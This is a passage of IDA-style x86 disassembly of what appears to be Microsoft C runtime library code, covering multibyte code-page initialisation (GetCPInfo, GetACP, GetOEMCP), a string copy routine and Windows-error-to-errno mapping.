arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_423280
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429400
		add	esp, 4
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4F388C
		jnz	short loc_4290EB
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	loc_4293F0
; ---------------------------------------------------------------------------

loc_4290EB:				; CODE XREF: sub_4290B0+28j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42910C
		call	sub_4294E0
		call	sub_429560
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	loc_4293F0
; ---------------------------------------------------------------------------

loc_42910C:				; CODE XREF: sub_4290B0+3Fj
		mov	[ebp+var_4], 0
		jmp	short loc_42911E
; ---------------------------------------------------------------------------

loc_429115:				; CODE XREF: sub_4290B0:loc_42926Aj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42911E:				; CODE XREF: sub_4290B0+63j
		cmp	[ebp+var_4], 5
		jnb	loc_42926F
		mov	eax, [ebp+var_4]
		imul	eax, 30h
		mov	ecx, dword_453ED0[eax]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_42926A
		mov	[ebp+var_24], 0
		jmp	short loc_42914F
; ---------------------------------------------------------------------------

loc_429146:				; CODE XREF: sub_4290B0+B2j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx

loc_42914F:				; CODE XREF: sub_4290B0+94j
		cmp	[ebp+var_24], 101h
		jnb	short loc_429164
		mov	eax, [ebp+var_24]
		mov	byte_4F39A0[eax], 0
		jmp	short loc_429146
; ---------------------------------------------------------------------------

loc_429164:				; CODE XREF: sub_4290B0+A6j
		mov	[ebp+var_C], 0
		jmp	short loc_429176
; ---------------------------------------------------------------------------

loc_42916D:				; CODE XREF: sub_4290B0:loc_4291F2j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_429176:				; CODE XREF: sub_4290B0+BBj
		cmp	[ebp+var_C], 4
		jnb	short loc_4291F7
		mov	edx, [ebp+var_4]
		imul	edx, 30h
		mov	eax, [ebp+var_C]
		lea	ecx, dword_453EE0[edx+eax*8]
		mov	[ebp+var_8], ecx
		jmp	short loc_42919A
; ---------------------------------------------------------------------------

loc_429191:				; CODE XREF: sub_4290B0:loc_4291F0j
		mov	edx, [ebp+var_8]
		add	edx, 2
		mov	[ebp+var_8], edx

loc_42919A:				; CODE XREF: sub_4290B0+DFj
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_4291F2
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_4291F2
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_4291C6
; ---------------------------------------------------------------------------

loc_4291BD:				; CODE XREF: sub_4290B0+13Ej
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax

loc_4291C6:				; CODE XREF: sub_4290B0+10Bj
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_4291F0
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		mov	dl, byte_4F39A1[eax]
		or	dl, byte_453EC8[ecx]
		mov	eax, [ebp+var_24]
		mov	byte_4F39A1[eax], dl
		jmp	short loc_4291BD
; ---------------------------------------------------------------------------

loc_4291F0:				; CODE XREF: sub_4290B0+121j
		jmp	short loc_429191
; ---------------------------------------------------------------------------

loc_4291F2:				; CODE XREF: sub_4290B0+F3j
					; sub_4290B0+FFj
		jmp	loc_42916D
; ---------------------------------------------------------------------------

loc_4291F7:				; CODE XREF: sub_4290B0+CAj
		mov	ecx, [ebp+arg_0]
		mov	dword_4F388C, ecx
		mov	dword_4F389C, 1
		mov	edx, dword_4F388C
		push	edx
		call	sub_429460
		add	esp, 4
		mov	dword_4F3AA4, eax
		mov	[ebp+var_C], 0
		jmp	short loc_429230
; ---------------------------------------------------------------------------

loc_429227:				; CODE XREF: sub_4290B0+1A2j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax

loc_429230:				; CODE XREF: sub_4290B0+175j
		cmp	[ebp+var_C], 6
		jnb	short loc_429254
		mov	ecx, [ebp+var_4]
		imul	ecx, 30h
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	cx, word_453ED4[ecx+eax*2]
		mov	word_4F3890[edx*2], cx
		jmp	short loc_429227
; ---------------------------------------------------------------------------

loc_429254:				; CODE XREF: sub_4290B0+184j
		call	sub_429560
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	loc_4293F0
; ---------------------------------------------------------------------------

loc_42926A:				; CODE XREF: sub_4290B0+87j
		jmp	loc_429115
; ---------------------------------------------------------------------------

loc_42926F:				; CODE XREF: sub_4290B0+72j
		lea	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F54E0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4293C2
		mov	[ebp+var_24], 0
		jmp	short loc_429298
; ---------------------------------------------------------------------------

loc_42928F:				; CODE XREF: sub_4290B0+1FBj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx

loc_429298:				; CODE XREF: sub_4290B0+1DDj
		cmp	[ebp+var_24], 101h
		jnb	short loc_4292AD
		mov	edx, [ebp+var_24]
		mov	byte_4F39A0[edx], 0
		jmp	short loc_42928F
; ---------------------------------------------------------------------------

loc_4292AD:				; CODE XREF: sub_4290B0+1EFj
		mov	eax, [ebp+arg_0]
		mov	dword_4F388C, eax
		mov	dword_4F3AA4, 0
		cmp	[ebp+var_20], 1
		jbe	loc_42937E
		lea	ecx, [ebp+var_1A]
		mov	[ebp+var_28], ecx
		jmp	short loc_4292DA
; ---------------------------------------------------------------------------

loc_4292D1:				; CODE XREF: sub_4290B0:loc_42932Aj
		mov	edx, [ebp+var_28]
		add	edx, 2
		mov	[ebp+var_28], edx

loc_4292DA:				; CODE XREF: sub_4290B0+21Fj
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42932C
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42932C
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_429306
; ---------------------------------------------------------------------------

loc_4292FD:				; CODE XREF: sub_4290B0+278j
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax

loc_429306:				; CODE XREF: sub_4290B0+24Bj
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_42932A
		mov	eax, [ebp+var_24]
		mov	cl, byte_4F39A1[eax]
		or	cl, 4
		mov	edx, [ebp+var_24]
		mov	byte_4F39A1[edx], cl
		jmp	short loc_4292FD
; ---------------------------------------------------------------------------

loc_42932A:				; CODE XREF: sub_4290B0+261j
		jmp	short loc_4292D1
; ---------------------------------------------------------------------------

loc_42932C:				; CODE XREF: sub_4290B0+233j
					; sub_4290B0+23Fj
		mov	[ebp+var_24], 1
		jmp	short loc_42933E
; ---------------------------------------------------------------------------

loc_429335:				; CODE XREF: sub_4290B0+2ACj
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax

loc_42933E:				; CODE XREF: sub_4290B0+283j
		cmp	[ebp+var_24], 0FFh
		jnb	short loc_42935E
		mov	ecx, [ebp+var_24]
		mov	dl, byte_4F39A1[ecx]
		or	dl, 8
		mov	eax, [ebp+var_24]
		mov	byte_4F39A1[eax], dl
		jmp	short loc_429335
; ---------------------------------------------------------------------------

loc_42935E:				; CODE XREF: sub_4290B0+295j
		mov	ecx, dword_4F388C
		push	ecx
		call	sub_429460
		add	esp, 4
		mov	dword_4F3AA4, eax
		mov	dword_4F389C, 1
		jmp	short loc_429388
; ---------------------------------------------------------------------------

loc_42937E:				; CODE XREF: sub_4290B0+213j
		mov	dword_4F389C, 0

loc_429388:				; CODE XREF: sub_4290B0+2CCj
		mov	[ebp+var_C], 0
		jmp	short loc_42939A
; ---------------------------------------------------------------------------

loc_429391:				; CODE XREF: sub_4290B0+2FDj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_42939A:				; CODE XREF: sub_4290B0+2DFj
		cmp	[ebp+var_C], 6
		jnb	short loc_4293AF
		mov	eax, [ebp+var_C]
		mov	word_4F3890[eax*2], 0
		jmp	short loc_429391
; ---------------------------------------------------------------------------

loc_4293AF:				; CODE XREF: sub_4290B0+2EEj
		call	sub_429560
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	short loc_4293F0
; ---------------------------------------------------------------------------

loc_4293C2:				; CODE XREF: sub_4290B0+1D0j
		cmp	dword_4F34A4, 0
		jz	short loc_4293E3
		call	sub_4294E0
		call	sub_429560
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	short loc_4293F0
; ---------------------------------------------------------------------------

loc_4293E3:				; CODE XREF: sub_4290B0+319j
		push	19h
		call	sub_423320
		add	esp, 4
		or	eax, 0FFFFFFFFh

loc_4293F0:				; CODE XREF: sub_4290B0+36j
					; sub_4290B0+57j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429400	proc near		; CODE XREF: sub_4290B0+14p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	dword_4F34A4, 0
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jnz	short loc_429425
		mov	dword_4F34A4, 1
		call	dword_4F54E8	; GetOEMCP
		jmp	short loc_429457
; ---------------------------------------------------------------------------

loc_429425:				; CODE XREF: sub_429400+11j
		cmp	[ebp+arg_0], 0FFFFFFFDh
		jnz	short loc_42943D
		mov	dword_4F34A4, 1
		call	dword_4F54E4	; GetACP
		jmp	short loc_429457
; ---------------------------------------------------------------------------

loc_42943D:				; CODE XREF: sub_429400+29j
		cmp	[ebp+arg_0], 0FFFFFFFCh
		jnz	short loc_429454
		mov	dword_4F34A4, 1
		mov	eax, dword_4F34C8
		jmp	short loc_429457
; ---------------------------------------------------------------------------

loc_429454:				; CODE XREF: sub_429400+41j
		mov	eax, [ebp+arg_0]

loc_429457:				; CODE XREF: sub_429400+23j
					; sub_429400+3Bj ...
		pop	ebp
		retn
sub_429400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429460	proc near		; CODE XREF: sub_4290B0+161p
					; sub_4290B0+2B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_4294AA
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_4294C4[eax]
		jmp	off_4294B0[edx*4]

loc_42948E:				; DATA XREF: .packed:off_4294B0o
		mov	eax, 411h
		jmp	short loc_4294AC
; ---------------------------------------------------------------------------

loc_429495:				; CODE XREF: sub_429460+27j
					; DATA XREF: .packed:004294B4o
		mov	eax, 804h
		jmp	short loc_4294AC
; ---------------------------------------------------------------------------

loc_42949C:				; CODE XREF: sub_429460+27j
					; DATA XREF: .packed:004294B8o
		mov	eax, 412h
		jmp	short loc_4294AC
; ---------------------------------------------------------------------------

loc_4294A3:				; CODE XREF: sub_429460+27j
					; DATA XREF: .packed:004294BCo
		mov	eax, 404h
		jmp	short loc_4294AC
; ---------------------------------------------------------------------------

loc_4294AA:				; CODE XREF: sub_429460+1Aj
					; sub_429460+27j
					; DATA XREF: ...
		xor	eax, eax

loc_4294AC:				; CODE XREF: sub_429460+33j
					; sub_429460+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429460	endp

; ---------------------------------------------------------------------------
off_4294B0	dd offset loc_42948E	; DATA XREF: sub_429460+27r
		dd offset loc_429495
		dd offset loc_42949C
		dd offset loc_4294A3
		dd offset loc_4294AA
byte_4294C4	db 0			; DATA XREF: sub_429460+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4294E0	proc near		; CODE XREF: sub_4290B0+41p
					; sub_4290B0+31Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4294F6
; ---------------------------------------------------------------------------

loc_4294ED:				; CODE XREF: sub_4294E0+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4294F6:				; CODE XREF: sub_4294E0+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_42950B
		mov	ecx, [ebp+var_4]
		mov	byte_4F39A0[ecx], 0
		jmp	short loc_4294ED
; ---------------------------------------------------------------------------

loc_42950B:				; CODE XREF: sub_4294E0+1Dj
		mov	dword_4F388C, 0
		mov	dword_4F389C, 0
		mov	dword_4F3AA4, 0
		mov	[ebp+var_4], 0
		jmp	short loc_42953B
; ---------------------------------------------------------------------------

loc_429532:				; CODE XREF: sub_4294E0+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42953B:				; CODE XREF: sub_4294E0+50j
		cmp	[ebp+var_4], 6
		jge	short loc_429550
		mov	eax, [ebp+var_4]
		mov	word_4F3890[eax*2], 0
		jmp	short loc_429532
; ---------------------------------------------------------------------------

loc_429550:				; CODE XREF: sub_4294E0+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_4294E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429560	proc near		; CODE XREF: sub_4290B0+46p
					; sub_4290B0:loc_429254p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, dword_4F388C
		push	ecx
		call	dword_4F54E0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_429799
		mov	[ebp+var_51C], 0
		jmp	short loc_4295A1
; ---------------------------------------------------------------------------

loc_429592:				; CODE XREF: sub_429560+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx

loc_4295A1:				; CODE XREF: sub_429560+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_4295C2
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_429592
; ---------------------------------------------------------------------------

loc_4295C2:				; CODE XREF: sub_429560+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_4295DD
; ---------------------------------------------------------------------------

loc_4295D4:				; CODE XREF: sub_429560:loc_429626j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax

loc_4295DD:				; CODE XREF: sub_429560+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_429628
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_429606
; ---------------------------------------------------------------------------

loc_4295F7:				; CODE XREF: sub_429560+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx

loc_429606:				; CODE XREF: sub_429560+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_429626
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_4295F7
; ---------------------------------------------------------------------------

loc_429626:				; CODE XREF: sub_429560+B4j
		jmp	short loc_4295D4
; ---------------------------------------------------------------------------

loc_429628:				; CODE XREF: sub_429560+86j
		push	0
		mov	eax, dword_4F3AA4
		push	eax
		mov	ecx, dword_4F388C
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	sub_431210
		add	esp, 1Ch
		push	0
		mov	ecx, dword_4F388C
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, dword_4F3AA4
		push	ecx
		call	sub_42EC50
		add	esp, 20h
		push	0
		mov	edx, dword_4F388C
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, dword_4F3AA4
		push	edx
		call	sub_42EC50
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_4296D9
; ---------------------------------------------------------------------------

loc_4296CA:				; CODE XREF: sub_429560:loc_42978Fj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax

loc_4296D9:				; CODE XREF: sub_429560+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_429794
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_429736
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4F39A1[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	byte_4F39A1[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	byte_4F38A0[eax], dl
		jmp	short loc_42978F
; ---------------------------------------------------------------------------

loc_429736:				; CODE XREF: sub_429560+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_429782
		mov	edx, [ebp+var_51C]
		mov	al, byte_4F39A1[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4F39A1[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	byte_4F38A0[edx], cl
		jmp	short loc_42978F
; ---------------------------------------------------------------------------

loc_429782:				; CODE XREF: sub_429560+1EBj
		mov	edx, [ebp+var_51C]
		mov	byte_4F38A0[edx], 0

loc_42978F:				; CODE XREF: sub_429560+1D4j
					; sub_429560+220j
		jmp	loc_4296CA
; ---------------------------------------------------------------------------

loc_429794:				; CODE XREF: sub_429560+183j
		jmp	loc_42985E
; ---------------------------------------------------------------------------

loc_429799:				; CODE XREF: sub_429560+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_4297B4
; ---------------------------------------------------------------------------

loc_4297A5:				; CODE XREF: sub_429560:loc_429859j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax

loc_4297B4:				; CODE XREF: sub_429560+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_42985E
		cmp	[ebp+var_51C], 41h
		jb	short loc_429808
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_429808
		mov	ecx, [ebp+var_51C]
		mov	dl, byte_4F39A1[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	byte_4F39A1[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4F38A0[edx], cl
		jmp	short loc_429859
; ---------------------------------------------------------------------------

loc_429808:				; CODE XREF: sub_429560+26Bj
					; sub_429560+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_42984C
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_42984C
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4F39A1[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4F39A1[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4F38A0[ecx], al
		jmp	short loc_429859
; ---------------------------------------------------------------------------

loc_42984C:				; CODE XREF: sub_429560+2AFj
					; sub_429560+2B8j
		mov	edx, [ebp+var_51C]
		mov	byte_4F38A0[edx], 0

loc_429859:				; CODE XREF: sub_429560+2A6j
					; sub_429560+2EAj
		jmp	loc_4297A5
; ---------------------------------------------------------------------------

loc_42985E:				; CODE XREF: sub_429560:loc_429794j
					; sub_429560+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_429560	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4F389C, 0
		jz	short loc_429883
		mov	eax, dword_4F388C
		jmp	short loc_429885
; ---------------------------------------------------------------------------

loc_429883:				; CODE XREF: .packed:0042987Aj
		xor	eax, eax

loc_429885:				; CODE XREF: .packed:00429881j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429890	proc near		; CODE XREF: sub_42F1D0+Dp
					; sub_42F290+Fp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4F4AEC, 0
		jnz	short loc_4298B0
		push	0FFFFFFFDh
		call	sub_4290B0
		add	esp, 4
		mov	dword_4F4AEC, 1

loc_4298B0:				; CODE XREF: sub_429890+Aj
		pop	ebp
		retn
sub_429890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4298C0	proc near		; CODE XREF: sub_41ED30+41p
					; sub_41ED30+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	dword_4F389C, 0
		jnz	short loc_4298EC
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E510
		add	esp, 0Ch
		jmp	loc_4299E1
; ---------------------------------------------------------------------------

loc_4298EC:				; CODE XREF: sub_4298C0+11j
		push	19h
		call	sub_423280
		add	esp, 4

loc_4298F6:				; CODE XREF: sub_4298C0:loc_4299AEj
		cmp	[ebp+arg_8], 0
		jz	loc_4299B3
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4F39A1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_429985
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42994A
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_4299B3
; ---------------------------------------------------------------------------

loc_42994A:				; CODE XREF: sub_4298C0+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_429983
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_4299B3
; ---------------------------------------------------------------------------

loc_429983:				; CODE XREF: sub_4298C0+B8j
		jmp	short loc_4299AE
; ---------------------------------------------------------------------------

loc_429985:				; CODE XREF: sub_4298C0+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_4299AE
		jmp	short loc_4299B3
; ---------------------------------------------------------------------------

loc_4299AE:				; CODE XREF: sub_4298C0:loc_429983j
					; sub_4298C0+EAj
		jmp	loc_4298F6
; ---------------------------------------------------------------------------

loc_4299B3:				; CODE XREF: sub_4298C0+3Aj
					; sub_4298C0+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_4299D4
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4299B3
; ---------------------------------------------------------------------------

loc_4299D4:				; CODE XREF: sub_4298C0+101j
		push	19h
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_4299E1:				; CODE XREF: sub_4298C0+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_4298C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4299F0	proc near		; CODE XREF: sub_41F470+2Ep
					; sub_421420+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_429AA0
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_429A10
; ---------------------------------------------------------------------------

loc_429A07:				; CODE XREF: sub_4299F0:loc_429A38j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_429A10:				; CODE XREF: sub_4299F0+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_429A3A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_453FC0[eax*8]
		jnz	short loc_429A38
		call	sub_429A90
		mov	edx, [ebp+var_4]
		mov	ecx, dword_453FC4[edx*8]
		mov	[eax], ecx
		jmp	short loc_429A7D
; ---------------------------------------------------------------------------

loc_429A38:				; CODE XREF: sub_4299F0+33j
		jmp	short loc_429A07
; ---------------------------------------------------------------------------

loc_429A3A:				; CODE XREF: sub_4299F0+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_429A53
		cmp	[ebp+arg_0], 24h
		ja	short loc_429A53
		call	sub_429A90
		mov	dword ptr [eax], 0Dh
		jmp	short loc_429A7D
; ---------------------------------------------------------------------------

loc_429A53:				; CODE XREF: sub_4299F0+4Ej
					; sub_4299F0+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_429A72
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_429A72
		call	sub_429A90
		mov	dword ptr [eax], 8
		jmp	short loc_429A7D
; ---------------------------------------------------------------------------

loc_429A72:				; CODE XREF: sub_4299F0+6Aj
					; sub_4299F0+73j
		call	sub_429A90
		mov	dword ptr [eax], 16h

loc_429A7D:				; CODE XREF: sub_4299F0+46j
					; sub_4299F0+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4299F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A90	proc near		; CODE XREF: sub_41F110:loc_41F3E2p
					; sub_421050:loc_4210ABp ...
		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		add	eax, 8
		pop	ebp
		retn
sub_429A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AA0	proc near		; CODE XREF: sub_421420+4Ap
					; sub_422CB0+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		add	eax, 0Ch
		pop	ebp
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AC0	proc near		; CODE XREF: sub_41F110+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F34B8, 0
		jnz	short loc_429AE7
		cmp	[ebp+arg_0], 61h
		jl	short loc_429AE2
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_429AE2
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax

